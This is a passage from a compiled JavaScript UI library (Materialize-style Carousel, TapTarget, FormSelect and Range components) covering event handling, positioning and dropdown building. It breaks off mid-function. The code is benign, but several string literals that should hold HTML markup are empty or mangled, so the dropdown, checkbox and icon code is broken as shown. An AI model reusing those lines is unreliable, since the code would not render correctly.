Handle Carousel CLick * @param {Event} e */ }, { key: "_handleCarouselClick", value: function _handleCarouselClick(e) { // Disable clicks if carousel was dragged. if (this.dragged) { e.preventDefault(); e.stopPropagation(); return false; } else if (!this.options.fullWidth) { var clickedIndex = $(e.target).closest('.carousel-item').index(); var diff = this._wrap(this.center) - clickedIndex; // Disable clicks if carousel was shifted by click if (diff !== 0) { e.preventDefault(); e.stopPropagation(); } this._cycleTo(clickedIndex); } } /** * Handle Indicator CLick * @param {Event} e */ }, { key: "_handleIndicatorClick", value: function _handleIndicatorClick(e) { e.stopPropagation(); var indicator = $(e.target).closest('.indicator-item'); if (indicator.length) { this._cycleTo(indicator.index()); } } /** * Handle Throttle Resize * @param {Event} e */ }, { key: "_handleResize", value: function _handleResize(e) { if (this.options.fullWidth) { this.itemWidth = this.$el.find('.carousel-item').first().innerWidth(); this.imageHeight = this.$el.find('.carousel-item.active').height(); this.dim = this.itemWidth * 2 + this.options.padding; this.offset = this.center * 2 * this.itemWidth; this.target = this.offset; this._setCarouselHeight(true); } else { this._scroll(); } } /** * Set carousel height based on first slide * @param {Booleam} imageOnly - true for image slides */ }, { key: "_setCarouselHeight", value: function _setCarouselHeight(imageOnly) { var _this64 = this; var firstSlide = this.$el.find('.carousel-item.active').length ? this.$el.find('.carousel-item.active').first() : this.$el.find('.carousel-item').first(); var firstImage = firstSlide.find('img').first(); if (firstImage.length) { if (firstImage[0].complete) { // If image won't trigger the load event var imageHeight = firstImage.height(); if (imageHeight > 0) { this.$el.css('height', imageHeight + 'px'); } else { // If image still has no height, use the natural dimensions to calculate var naturalWidth = firstImage[0].naturalWidth; var naturalHeight = firstImage[0].naturalHeight; var adjustedHeight = this.$el.width() / naturalWidth * naturalHeight; this.$el.css('height', adjustedHeight + 'px'); } } else { // Get height when image is loaded normally firstImage.one('load', function (el, i) { _this64.$el.css('height', el.offsetHeight + 'px'); }); } } else if (!imageOnly) { var slideHeight = firstSlide.height(); this.$el.css('height', slideHeight + 'px'); } } /** * Get x position from event * @param {Event} e */ }, { key: "_xpos", value: function _xpos(e) { // touch event if (e.targetTouches && e.targetTouches.length >= 1) { return e.targetTouches[0].clientX; } // mouse event return e.clientX; } /** * Get y position from event * @param {Event} e */ }, { key: "_ypos", value: function _ypos(e) { // touch event if (e.targetTouches && e.targetTouches.length >= 1) { return e.targetTouches[0].clientY; } // mouse event return e.clientY; } /** * Wrap index * @param {Number} x */ }, { key: "_wrap", value: function _wrap(x) { return x >= this.count ? x % this.count : x < 0 ? this._wrap(this.count + x % this.count) : x; } /** * Tracks scrolling information */ }, { key: "_track", value: function _track() { var now = void 0, elapsed = void 0, delta = void 0, v = void 0; now = Date.now(); elapsed = now - this.timestamp; this.timestamp = now; delta = this.offset - this.frame; this.frame = this.offset; v = 1000 * delta / (1 + elapsed); this.velocity = 0.8 * v + 0.2 * this.velocity; } /** * Auto scrolls to nearest carousel item. */ }, { key: "_autoScroll", value: function _autoScroll() { var elapsed = void 0, delta = void 0; if (this.amplitude) { elapsed = Date.now() - this.timestamp; delta = this.amplitude * Math.exp(-elapsed / this.options.duration); if (delta > 2 || delta < -2) { this._scroll(this.target - delta); requestAnimationFrame(this._autoScrollBound); } else { this._scroll(this.target); } } } /** * Scroll to target * @param {Number} x */ }, { key: "_scroll", value: function _scroll(x) { var _this65 = this; // Track scrolling state if (!this.$el.hasClass('scrolling')) { this.el.classList.add('scrolling'); } if (this.scrollingTimeout != null) { window.clearTimeout(this.scrollingTimeout); } this.scrollingTimeout = window.setTimeout(function () { _this65.$el.removeClass('scrolling'); }, this.options.duration); // Start actual scroll var i = void 0, half = void 0, delta = void 0, dir = void 0, tween = void 0, el = void 0, alignment = void 0, zTranslation = void 0, tweenedOpacity = void 0, centerTweenedOpacity = void 0; var lastCenter = this.center; var numVisibleOffset = 1 / this.options.numVisible; this.offset = typeof x === 'number' ? x : this.offset; this.center = Math.floor((this.offset + this.dim / 2) / this.dim); delta = this.offset - this.center * this.dim; dir = delta < 0 ? 1 : -1; tween = -dir * delta * 2 / this.dim; half = this.count >> 1; if (this.options.fullWidth) { alignment = 'translateX(0)'; centerTweenedOpacity = 1; } else { alignment = 'translateX(' + (this.el.clientWidth - this.itemWidth) / 2 + 'px) '; alignment += 'translateY(' + (this.el.clientHeight - this.itemHeight) / 2 + 'px)'; centerTweenedOpacity = 1 - numVisibleOffset * tween; } // Set indicator active if (this.showIndicators) { var diff = this.center % this.count; var activeIndicator = this.$indicators.find('.indicator-item.active'); if (activeIndicator.index() !== diff) { activeIndicator.removeClass('active'); this.$indicators.find('.indicator-item').eq(diff)[0].classList.add('active'); } } // center // Don't show wrapped items. if (!this.noWrap || this.center >= 0 && this.center < this.count) { el = this.images[this._wrap(this.center)]; // Add active class to center item. if (!$(el).hasClass('active')) { this.$el.find('.carousel-item').removeClass('active'); el.classList.add('active'); } var transformString = alignment + " translateX(" + -delta / 2 + "px) translateX(" + dir * this.options.shift * tween * i + "px) translateZ(" + this.options.dist * tween + "px)"; this._updateItemStyle(el, centerTweenedOpacity, 0, transformString); } for (i = 1; i <= half; ++i) { // right side if (this.options.fullWidth) { zTranslation = this.options.dist; tweenedOpacity = i === half && delta < 0 ? 1 - tween : 1; } else { zTranslation = this.options.dist * (i * 2 + tween * dir); tweenedOpacity = 1 - numVisibleOffset * (i * 2 + tween * dir); } // Don't show wrapped items. if (!this.noWrap || this.center + i < this.count) { el = this.images[this._wrap(this.center + i)]; var _transformString = alignment + " translateX(" + (this.options.shift + (this.dim * i - delta) / 2) + "px) translateZ(" + zTranslation + "px)"; this._updateItemStyle(el, tweenedOpacity, -i, _transformString); } // left side if (this.options.fullWidth) { zTranslation = this.options.dist; tweenedOpacity = i === half && delta > 0 ? 1 - tween : 1; } else { zTranslation = this.options.dist * (i * 2 - tween * dir); tweenedOpacity = 1 - numVisibleOffset * (i * 2 - tween * dir); } // Don't show wrapped items. if (!this.noWrap || this.center - i >= 0) { el = this.images[this._wrap(this.center - i)]; var _transformString2 = alignment + " translateX(" + (-this.options.shift + (-this.dim * i - delta) / 2) + "px) translateZ(" + zTranslation + "px)"; this._updateItemStyle(el, tweenedOpacity, -i, _transformString2); } } // center // Don't show wrapped items. if (!this.noWrap || this.center >= 0 && this.center < this.count) { el = this.images[this._wrap(this.center)]; var _transformString3 = alignment + " translateX(" + -delta / 2 + "px) translateX(" + dir * this.options.shift * tween + "px) translateZ(" + this.options.dist * tween + "px)"; this._updateItemStyle(el, centerTweenedOpacity, 0, _transformString3); } // onCycleTo callback var $currItem = this.$el.find('.carousel-item').eq(this._wrap(this.center)); if (lastCenter !== this.center && typeof this.options.onCycleTo === 'function') { this.options.onCycleTo.call(this, $currItem[0], this.dragged); } // One time callback if (typeof this.oneTimeCallback === 'function') { this.oneTimeCallback.call(this, $currItem[0], this.dragged); this.oneTimeCallback = null; } } /** * Cycle to target * @param {Element} el * @param {Number} opacity * @param {Number} zIndex * @param {String} transform */ }, { key: "_updateItemStyle", value: function _updateItemStyle(el, opacity, zIndex, transform) { el.style[this.xform] = transform; el.style.zIndex = zIndex; el.style.opacity = opacity; el.style.visibility = 'visible'; } /** * Cycle to target * @param {Number} n * @param {Function} callback */ }, { key: "_cycleTo", value: function _cycleTo(n, callback) { var diff = this.center % this.count - n; // Account for wraparound. if (!this.noWrap) { if (diff < 0) { if (Math.abs(diff + this.count) < Math.abs(diff)) { diff += this.count; } } else if (diff > 0) { if (Math.abs(diff - this.count) < diff) { diff -= this.count; } } } this.target = this.dim * Math.round(this.offset / this.dim); // Next if (diff < 0) { this.target += this.dim * Math.abs(diff); // Prev } else if (diff > 0) { this.target -= this.dim * diff; } // Set one time callback if (typeof callback === 'function') { this.oneTimeCallback = callback; } // Scroll if (this.offset !== this.target) { this.amplitude = this.target - this.offset; this.timestamp = Date.now(); requestAnimationFrame(this._autoScrollBound); } } /** * Cycle to next item * @param {Number} [n] */ }, { key: "next", value: function next(n) { if (n === undefined || isNaN(n)) { n = 1; } var index = this.center + n; if (index > this.count || index < 0) { if (this.noWrap) { return; } index = this._wrap(index); } this._cycleTo(index); } /** * Cycle to previous item * @param {Number} [n] */ }, { key: "prev", value: function prev(n) { if (n === undefined || isNaN(n)) { n = 1; } var index = this.center - n; if (index > this.count || index < 0) { if (this.noWrap) { return; } index = this._wrap(index); } this._cycleTo(index); } /** * Cycle to nth item * @param {Number} [n] * @param {Function} callback */ }, { key: "set", value: function set(n, callback) { if (n === undefined || isNaN(n)) { n = 0; } if (n > this.count || n < 0) { if (this.noWrap) { return; } n = this._wrap(n); } this._cycleTo(n, callback); } }], [{ key: "init", value: function init(els, options) { return _get(Carousel.__proto__ || Object.getPrototypeOf(Carousel), "init", this).call(this, this, els, options); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_Carousel; } }, { key: "defaults", get: function () { return _defaults; } }]); return Carousel; }(Component); M.Carousel = Carousel; if (M.jQueryLoaded) { M.initializeJqueryWrapper(Carousel, 'carousel', 'M_Carousel'); } })(cash); ;(function ($) { 'use strict'; var _defaults = { onOpen: undefined, onClose: undefined }; /** * @class * */ var TapTarget = function (_Component19) { _inherits(TapTarget, _Component19); /** * Construct TapTarget instance * @constructor * @param {Element} el * @param {Object} options */ function TapTarget(el, options) { _classCallCheck(this, TapTarget); var _this66 = _possibleConstructorReturn(this, (TapTarget.__proto__ || Object.getPrototypeOf(TapTarget)).call(this, TapTarget, el, options)); _this66.el.M_TapTarget = _this66; /** * Options for the select * @member TapTarget#options * @prop {Function} onOpen - Callback function called when feature discovery is opened * @prop {Function} onClose - Callback function called when feature discovery is closed */ _this66.options = $.extend({}, TapTarget.defaults, options); _this66.isOpen = false; // setup _this66.$origin = $('#' + _this66.$el.attr('data-target')); _this66._setup(); _this66._calculatePositioning(); _this66._setupEventHandlers(); return _this66; } _createClass(TapTarget, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this.el.TapTarget = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { this._handleDocumentClickBound = this._handleDocumentClick.bind(this); this._handleTargetClickBound = this._handleTargetClick.bind(this); this._handleOriginClickBound = this._handleOriginClick.bind(this); this.el.addEventListener('click', this._handleTargetClickBound); this.originEl.addEventListener('click', this._handleOriginClickBound); // Resize var throttledResize = M.throttle(this._handleResize, 200); this._handleThrottledResizeBound = throttledResize.bind(this); window.addEventListener('resize', this._handleThrottledResizeBound); } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('click', this._handleTargetClickBound); this.originEl.removeEventListener('click', this._handleOriginClickBound); window.removeEventListener('resize', this._handleThrottledResizeBound); } /** * Handle Target Click * @param {Event} e */ }, { key: "_handleTargetClick", value: function _handleTargetClick(e) { this.open(); } /** * Handle Origin Click * @param {Event} e */ }, { key: "_handleOriginClick", value: function _handleOriginClick(e) { this.close(); } /** * Handle Resize * @param {Event} e */ }, { key: "_handleResize", value: function _handleResize(e) { this._calculatePositioning(); } /** * Handle Resize * @param {Event} e */ }, { key: "_handleDocumentClick", value: function _handleDocumentClick(e) { if (!$(e.target).closest('.tap-target-wrapper').length) { this.close(); e.preventDefault(); e.stopPropagation(); } } /** * Setup Tap Target */ }, { key: "_setup", value: function _setup() { // Creating tap target this.wrapper = this.$el.parent()[0]; this.waveEl = $(this.wrapper).find('.tap-target-wave')[0]; this.originEl = $(this.wrapper).find('.tap-target-origin')[0]; this.contentEl = this.$el.find('.tap-target-content')[0]; // Creating wrapper if (!$(this.wrapper).hasClass('.tap-target-wrapper')) { this.wrapper = document.createElement('div'); this.wrapper.classList.add('tap-target-wrapper'); this.$el.before($(this.wrapper)); this.wrapper.append(this.el); } // Creating content if (!this.contentEl) { this.contentEl = document.createElement('div'); this.contentEl.classList.add('tap-target-content'); this.$el.append(this.contentEl); } // Creating foreground wave if (!this.waveEl) { this.waveEl = document.createElement('div'); this.waveEl.classList.add('tap-target-wave'); // Creating origin if (!this.originEl) { this.originEl = this.$origin.clone(true, true); this.originEl.addClass('tap-target-origin'); this.originEl.removeAttr('id'); this.originEl.removeAttr('style'); this.originEl = this.originEl[0]; this.waveEl.append(this.originEl); } this.wrapper.append(this.waveEl); } } /** * Calculate positioning */ }, { key: "_calculatePositioning", value: function _calculatePositioning() { // Element or parent is fixed position? var isFixed = this.$origin.css('position') === 'fixed'; if (!isFixed) { var parents = this.$origin.parents(); for (var i = 0; i < parents.length; i++) { isFixed = $(parents[i]).css('position') == 'fixed'; if (isFixed) { break; } } } // Calculating origin var originWidth = this.$origin.outerWidth(); var originHeight = this.$origin.outerHeight(); var originTop = isFixed ? this.$origin.offset().top - M.getDocumentScrollTop() : this.$origin.offset().top; var originLeft = isFixed ? this.$origin.offset().left - M.getDocumentScrollLeft() : this.$origin.offset().left; // Calculating screen var windowWidth = window.innerWidth; var windowHeight = window.innerHeight; var centerX = windowWidth / 2; var centerY = windowHeight / 2; var isLeft = originLeft <= centerX; var isRight = originLeft > centerX; var isTop = originTop <= centerY; var isBottom = originTop > centerY; var isCenterX = originLeft >= windowWidth * 0.25 && originLeft <= windowWidth * 0.75; // Calculating tap target var tapTargetWidth = this.$el.outerWidth(); var tapTargetHeight = this.$el.outerHeight(); var tapTargetTop = originTop + originHeight / 2 - tapTargetHeight / 2; var tapTargetLeft = originLeft + originWidth / 2 - tapTargetWidth / 2; var tapTargetPosition = isFixed ? 'fixed' : 'absolute'; // Calculating content var tapTargetTextWidth = isCenterX ? tapTargetWidth : tapTargetWidth / 2 + originWidth; var tapTargetTextHeight = tapTargetHeight / 2; var tapTargetTextTop = isTop ? tapTargetHeight / 2 : 0; var tapTargetTextBottom = 0; var tapTargetTextLeft = isLeft && !isCenterX ? tapTargetWidth / 2 - originWidth : 0; var tapTargetTextRight = 0; var tapTargetTextPadding = originWidth; var tapTargetTextAlign = isBottom ? 'bottom' : 'top'; // Calculating wave var tapTargetWaveWidth = originWidth > originHeight ? originWidth * 2 : originWidth * 2; var tapTargetWaveHeight = tapTargetWaveWidth; var tapTargetWaveTop = tapTargetHeight / 2 - tapTargetWaveHeight / 2; var tapTargetWaveLeft = tapTargetWidth / 2 - tapTargetWaveWidth / 2; // Setting tap target var tapTargetWrapperCssObj = {}; tapTargetWrapperCssObj.top = isTop ? tapTargetTop + 'px' : ''; tapTargetWrapperCssObj.right = isRight ? windowWidth - tapTargetLeft - tapTargetWidth + 'px' : ''; tapTargetWrapperCssObj.bottom = isBottom ? windowHeight - tapTargetTop - tapTargetHeight + 'px' : ''; tapTargetWrapperCssObj.left = isLeft ? tapTargetLeft + 'px' : ''; tapTargetWrapperCssObj.position = tapTargetPosition; $(this.wrapper).css(tapTargetWrapperCssObj); // Setting content $(this.contentEl).css({ width: tapTargetTextWidth + 'px', height: tapTargetTextHeight + 'px', top: tapTargetTextTop + 'px', right: tapTargetTextRight + 'px', bottom: tapTargetTextBottom + 'px', left: tapTargetTextLeft + 'px', padding: tapTargetTextPadding + 'px', verticalAlign: tapTargetTextAlign }); // Setting wave $(this.waveEl).css({ top: tapTargetWaveTop + 'px', left: tapTargetWaveLeft + 'px', width: tapTargetWaveWidth + 'px', height: tapTargetWaveHeight + 'px' }); } /** * Open TapTarget */ }, { key: "open", value: function open() { if (this.isOpen) { return; } // onOpen callback if (typeof this.options.onOpen === 'function') { this.options.onOpen.call(this, this.$origin[0]); } this.isOpen = true; this.wrapper.classList.add('open'); document.body.addEventListener('click', this._handleDocumentClickBound, true); document.body.addEventListener('touchend', this._handleDocumentClickBound); } /** * Close Tap Target */ }, { key: "close", value: function close() { if (!this.isOpen) { return; } // onClose callback if (typeof this.options.onClose === 'function') { this.options.onClose.call(this, this.$origin[0]); } this.isOpen = false; this.wrapper.classList.remove('open'); document.body.removeEventListener('click', this._handleDocumentClickBound, true); document.body.removeEventListener('touchend', this._handleDocumentClickBound); } }], [{ key: "init", value: function init(els, options) { return _get(TapTarget.__proto__ || Object.getPrototypeOf(TapTarget), "init", this).call(this, this, els, options); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_TapTarget; } }, { key: "defaults", get: function () { return _defaults; } }]); return TapTarget; }(Component); M.TapTarget = TapTarget; if (M.jQueryLoaded) { M.initializeJqueryWrapper(TapTarget, 'tapTarget', 'M_TapTarget'); } })(cash); ;(function ($) { 'use strict'; var _defaults = { classes: '', dropdownOptions: {} }; /** * @class * */ var FormSelect = function (_Component20) { _inherits(FormSelect, _Component20); /** * Construct FormSelect instance * @constructor * @param {Element} el * @param {Object} options */ function FormSelect(el, options) { _classCallCheck(this, FormSelect); // Don't init if browser default version var _this67 = _possibleConstructorReturn(this, (FormSelect.__proto__ || Object.getPrototypeOf(FormSelect)).call(this, FormSelect, el, options)); if (_this67.$el.hasClass('browser-default')) { return _possibleConstructorReturn(_this67); } _this67.el.M_FormSelect = _this67; /** * Options for the select * @member FormSelect#options */ _this67.options = $.extend({}, FormSelect.defaults, options); _this67.isMultiple = _this67.$el.prop('multiple'); // Setup _this67.el.tabIndex = -1; _this67._keysSelected = {}; _this67._valueDict = {}; // Maps key to original and generated option element. _this67._setupDropdown(); _this67._setupEventHandlers(); return _this67; } _createClass(FormSelect, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this._removeDropdown(); this.el.M_FormSelect = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { var _this68 = this; this._handleSelectChangeBound = this._handleSelectChange.bind(this); this._handleOptionClickBound = this._handleOptionClick.bind(this); this._handleInputClickBound = this._handleInputClick.bind(this); $(this.dropdownOptions).find('li:not(.optgroup)').each(function (el) { el.addEventListener('click', _this68._handleOptionClickBound); }); this.el.addEventListener('change', this._handleSelectChangeBound); this.input.addEventListener('click', this._handleInputClickBound); } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { var _this69 = this; $(this.dropdownOptions).find('li:not(.optgroup)').each(function (el) { el.removeEventListener('click', _this69._handleOptionClickBound); }); this.el.removeEventListener('change', this._handleSelectChangeBound); this.input.removeEventListener('click', this._handleInputClickBound); } /** * Handle Select Change * @param {Event} e */ }, { key: "_handleSelectChange", value: function _handleSelectChange(e) { this._setValueToInput(); } /** * Handle Option Click * @param {Event} e */ }, { key: "_handleOptionClick", value: function _handleOptionClick(e) { e.preventDefault(); var option = $(e.target).closest('li')[0]; var key = option.id; if (!$(option).hasClass('disabled') && !$(option).hasClass('optgroup') && key.length) { var selected = true; if (this.isMultiple) { // Deselect placeholder option if still selected. var placeholderOption = $(this.dropdownOptions).find('li.disabled.selected'); if (placeholderOption.length) { placeholderOption.removeClass('selected'); placeholderOption.find('input[type="checkbox"]').prop('checked', false); this._toggleEntryFromArray(placeholderOption[0].id); } selected = this._toggleEntryFromArray(key); } else { $(this.dropdownOptions).find('li').removeClass('selected'); $(option).toggleClass('selected', selected); } // Set selected on original select option $(this._valueDict[key].el).prop('selected', selected); this.$el.trigger('change'); } e.stopPropagation(); } /** * Handle Input Click */ }, { key: "_handleInputClick", value: function _handleInputClick() { if (this.dropdown && this.dropdown.isOpen) { this._setValueToInput(); this._setSelectedStates(); } } /** * Setup dropdown */ }, { key: "_setupDropdown", value: function _setupDropdown() { var _this70 = this; this.wrapper = document.createElement('div'); $(this.wrapper).addClass('select-wrapper ' + this.options.classes); this.$el.before($(this.wrapper)); this.wrapper.appendChild(this.el); if (this.el.disabled) { this.wrapper.classList.add('disabled'); } // Create dropdown this.$selectOptions = this.$el.children('option, optgroup'); this.dropdownOptions = document.createElement('ul'); this.dropdownOptions.id = "select-options-" + M.guid(); $(this.dropdownOptions).addClass('dropdown-content select-dropdown ' + (this.isMultiple ? 'multiple-select-dropdown' : '')); // Create dropdown structure. if (this.$selectOptions.length) { this.$selectOptions.each(function (el) { if ($(el).is('option')) { // Direct descendant option. var optionEl = void 0; if (_this70.isMultiple) { optionEl = _this70._appendOptionWithIcon(_this70.$el, el, 'multiple'); } else { optionEl = _this70._appendOptionWithIcon(_this70.$el, el); } _this70._addOptionToValueDict(el, optionEl); } else if ($(el).is('optgroup')) { // Optgroup. var selectOptions = $(el).children('option'); $(_this70.dropdownOptions).append($('
  • ' + el.getAttribute('label') + '
  • ')[0]); selectOptions.each(function (el) { var optionEl = _this70._appendOptionWithIcon(_this70.$el, el, 'optgroup-option'); _this70._addOptionToValueDict(el, optionEl); }); } }); } this.$el.after(this.dropdownOptions); // Add input dropdown this.input = document.createElement('input'); $(this.input).addClass('select-dropdown dropdown-trigger'); this.input.setAttribute('type', 'text'); this.input.setAttribute('readonly', 'true'); this.input.setAttribute('data-target', this.dropdownOptions.id); if (this.el.disabled) { $(this.input).prop('disabled', 'true'); } this.$el.before(this.input); this._setValueToInput(); // Add caret var dropdownIcon = $(''); this.$el.before(dropdownIcon[0]); // Initialize dropdown if (!this.el.disabled) { var dropdownOptions = $.extend({}, this.options.dropdownOptions); // Add callback for centering selected option when dropdown content is scrollable dropdownOptions.onOpenEnd = function (el) { var selectedOption = $(_this70.dropdownOptions).find('.selected').first(); if (_this70.dropdown.isScrollable && selectedOption.length) { var scrollOffset = selectedOption[0].getBoundingClientRect().top - _this70.dropdownOptions.getBoundingClientRect().top; // scroll to selected option scrollOffset -= _this70.dropdownOptions.clientHeight / 2; // center in dropdown _this70.dropdownOptions.scrollTop = scrollOffset; } }; if (this.isMultiple) { dropdownOptions.closeOnClick = false; } this.dropdown = M.Dropdown.init(this.input, dropdownOptions); } // Add initial selections this._setSelectedStates(); } /** * Add option to value dict * @param {Element} el original option element * @param {Element} optionEl generated option element */ }, { key: "_addOptionToValueDict", value: function _addOptionToValueDict(el, optionEl) { var index = Object.keys(this._valueDict).length; var key = this.dropdownOptions.id + index; var obj = {}; optionEl.id = key; obj.el = el; obj.optionEl = optionEl; this._valueDict[key] = obj; } /** * Remove dropdown */ }, { key: "_removeDropdown", value: function _removeDropdown() { $(this.wrapper).find('.caret').remove(); $(this.input).remove(); $(this.dropdownOptions).remove(); $(this.wrapper).before(this.$el); $(this.wrapper).remove(); } /** * Setup dropdown * @param {Element} select select element * @param {Element} option option element from select * @param {String} type * @return {Element} option element added */ }, { key: "_appendOptionWithIcon", value: function _appendOptionWithIcon(select, option, type) { // Add disabled attr if disabled var disabledClass = option.disabled ? 'disabled ' : ''; var optgroupClass = type === 'optgroup-option' ? 'optgroup-option ' : ''; var multipleCheckbox = this.isMultiple ? "" : option.innerHTML; var liEl = $('
  • '); var spanEl = $(''); spanEl.html(multipleCheckbox); liEl.addClass(disabledClass + " " + optgroupClass); liEl.append(spanEl); // add icons var iconUrl = option.getAttribute('data-icon'); if (!!iconUrl) { var imgEl = $("\"\""); liEl.prepend(imgEl); } // Check for multiple type. $(this.dropdownOptions).append(liEl[0]); return liEl[0]; } /** * Toggle entry from option * @param {String} key Option key * @return {Boolean} if entry was added or removed */ }, { key: "_toggleEntryFromArray", value: function _toggleEntryFromArray(key) { var notAdded = !this._keysSelected.hasOwnProperty(key); var $optionLi = $(this._valueDict[key].optionEl); if (notAdded) { this._keysSelected[key] = true; } else { delete this._keysSelected[key]; } $optionLi.toggleClass('selected', notAdded); // Set checkbox checked value $optionLi.find('input[type="checkbox"]').prop('checked', notAdded); // use notAdded instead of true (to detect if the option is selected or not) $optionLi.prop('selected', notAdded); return notAdded; } /** * Set text value to input */ }, { key: "_setValueToInput", value: function _setValueToInput() { var values = []; var options = this.$el.find('option'); options.each(function (el) { if ($(el).prop('selected')) { var text = $(el).text(); values.push(text); } }); if (!values.length) { var firstDisabled = this.$el.find('option:disabled').eq(0); if (firstDisabled.length && firstDisabled[0].value === '') { values.push(firstDisabled.text()); } } this.input.value = values.join(', '); } /** * Set selected state of dropdown to match actual select element */ }, { key: "_setSelectedStates", value: function _setSelectedStates() { this._keysSelected = {}; for (var key in this._valueDict) { var option = this._valueDict[key]; var optionIsSelected = $(option.el).prop('selected'); $(option.optionEl).find('input[type="checkbox"]').prop('checked', optionIsSelected); if (optionIsSelected) { this._activateOption($(this.dropdownOptions), $(option.optionEl)); this._keysSelected[key] = true; } else { $(option.optionEl).removeClass('selected'); } } } /** * Make option as selected and scroll to selected position * @param {jQuery} collection Select options jQuery element * @param {Element} newOption element of the new option */ }, { key: "_activateOption", value: function _activateOption(collection, newOption) { if (newOption) { if (!this.isMultiple) { collection.find('li.selected').removeClass('selected'); } var option = $(newOption); option.addClass('selected'); } } /** * Get Selected Values * @return {Array} Array of selected values */ }, { key: "getSelectedValues", value: function getSelectedValues() { var selectedValues = []; for (var key in this._keysSelected) { selectedValues.push(this._valueDict[key].el.value); } return selectedValues; } }], [{ key: "init", value: function init(els, options) { return _get(FormSelect.__proto__ || Object.getPrototypeOf(FormSelect), "init", this).call(this, this, els, options); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_FormSelect; } }, { key: "defaults", get: function () { return _defaults; } }]); return FormSelect; }(Component); M.FormSelect = FormSelect; if (M.jQueryLoaded) { M.initializeJqueryWrapper(FormSelect, 'formSelect', 'M_FormSelect'); } })(cash); ;(function ($, anim) { 'use strict'; var _defaults = {}; /** * @class * */ var Range = function (_Component21) { _inherits(Range, _Component21); /** * Construct Range instance * @constructor * @param {Element} el * @param {Object} options */ function Range(el, options) { _classCallCheck(this, Range); var _this71 = _possibleConstructorReturn(this, (Range.__proto__ || Object.getPrototypeOf(Range)).call(this, Range, el, options)); _this71.el.M_Range = _this71; /** * Options for the range * @member Range#options */ _this71.options = $.extend({}, Range.defaults, options); _this71._mousedown = false; // Setup _this71._setupThumb(); _this71._setupEventHandlers(); return _this71; } _createClass(Range, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this._removeThumb(); this.el.M_Range = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { this._handleRangeChangeBound = this._handleRangeChange.bind(this); this._handleRangeMousedownTouchstartBound = this._handleRangeMousedownTouchstart.bind(this); this._handleRangeInputMousemoveTouchmoveBound = this._handleRangeInputMousemoveTouchmove.bind(this); this._handleRangeMouseupTouchendBound = this._handleRangeMouseupTouchend.bind(this); this._handleRangeBlurMouseoutTouchleaveBound = this._handleRangeBlurMouseoutTouchleave.bind(this); this.el.addEventListener('change', this._handleRangeChangeBound); this.el.addEventListener('mousedown', this._handleRangeMousedownTouchstartBound); this.el.addEventListener('touchstart', this._handleRangeMousedownTouchstartBound); this.el.addEventListener('input', this._handleRangeInputMousemoveTouchmoveBound); this.el.addEventListener('mousemove', this._handleRangeInputMousemoveTouchmoveBound); this.el.addEventListener('touchmove', this._handleRangeInputMousemoveTouchmoveBound); this.el.addEventListener('mouseup', this._handleRangeMouseupTouchendBound); this.el.addEventListener('touchend', this._handleRangeMouseupTouchendBound); this.el.addEventListener('blur', this._handleRangeBlurMouseoutTouchleaveBound); this.el.addEventListener('mouseout', this._handleRangeBlurMouseoutTouchleaveBound); this.el.addEventListener('touchleave', this._handleRangeBlurMouseoutTouchleaveBound); } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('change', this._handleRangeChangeBound); this.el.removeEventListener('mousedown', this._handleRangeMousedownTouchstartBound); this.el.removeEventListener('touchstart', this._handleRangeMousedownTouchstartBound); this.el.removeEventListener('input', this._handleRangeInputMousemoveTouchmoveBound); this.el.removeEventListener('mousemove', this._handleRangeInputMousemoveTouchmoveBound); this.el.removeEventListener('touchmove', this._handleRangeInputMousemoveTouchmoveBound); this.el.removeEventListener('mouseup', this._handleRangeMouseupTouchendBound); this.el.removeEventListener('touchend', this._handleRangeMouseupTouchendBound); this.el.removeEventListener('blur', this._handleRangeBlurMouseoutTouchleaveBound); this.el.removeEventListener('mouseout', this._handleRangeBlurMouseoutTouchleaveBound); this.el.removeEventListener('touchleave', this._handleRangeBlurMouseoutTouchleaveBound); } /** * Handle Range Change * @param {Event} e */ }, { key: "_handleRangeChange", value: function _handleRangeChange() { $(this.value).html(this.$el.val()); if (!$(this.thumb).hasClass('active')) { this._showRangeBubble(); } var offsetLeft = this._calcRangeOffset(); $(this.thumb).addClass('active').css('left', offsetLeft + 'px'); } /** * Handle Range Mousedown and Touchstart * @param {Event} e */ }, { key: "_handleRangeMousedownTouchstart", value: function _handleRangeMousedownTouchstart(e) { // Set indicator value $(this.value).html(this.$el.val()); this._mousedown = true; this.$el.addClass('active'); if (!$(this.thumb).hasClass('active')) { this._showRangeBubble(); } if (e.type !== 'input') { var offsetLeft = this._calcRangeOffset(); $(this.thumb).addClass('active').css('left', offsetLeft + 'px'); } } /** * Handle Range Input, Mousemove and Touchmove */ }, { key: "_handleRangeInputMousemoveTouchmove", value: function _handleRangeInputMousemoveTouchmove() { if (this._mousedown) { if (!$(this.thumb).hasClass('active')) { this._showRangeBubble(); } var offsetLeft = this._calcRangeOffset(); $(this.thumb).addClass('active').css('left', offsetLeft + 'px'); $(this.value).html(this.$el.val()); } } /** * Handle Range Mouseup and Touchend */ }, { key: "_handleRangeMouseupTouchend", value: function _handleRangeMouseupTouchend() { this._mousedown = false; this.$el.removeClass('active'); } /** * Handle Range Blur, Mouseout and Touchleave */ }, { key: "_handleRangeBlurMouseoutTouchleave", value: function _handleRangeBlurMouseoutTouchleave() { if (!this._mousedown) { var paddingLeft = parseInt(this.$el.css('padding-left')); var marginLeft = 7 + paddingLeft + 'px'; if ($(this.thumb).hasClass('active')) { anim.remove(this.thumb); anim({ targets: this.thumb, height: 0, width: 0, top: 10, easing: 'easeOutQuad', marginLeft: marginLeft, duration: 100 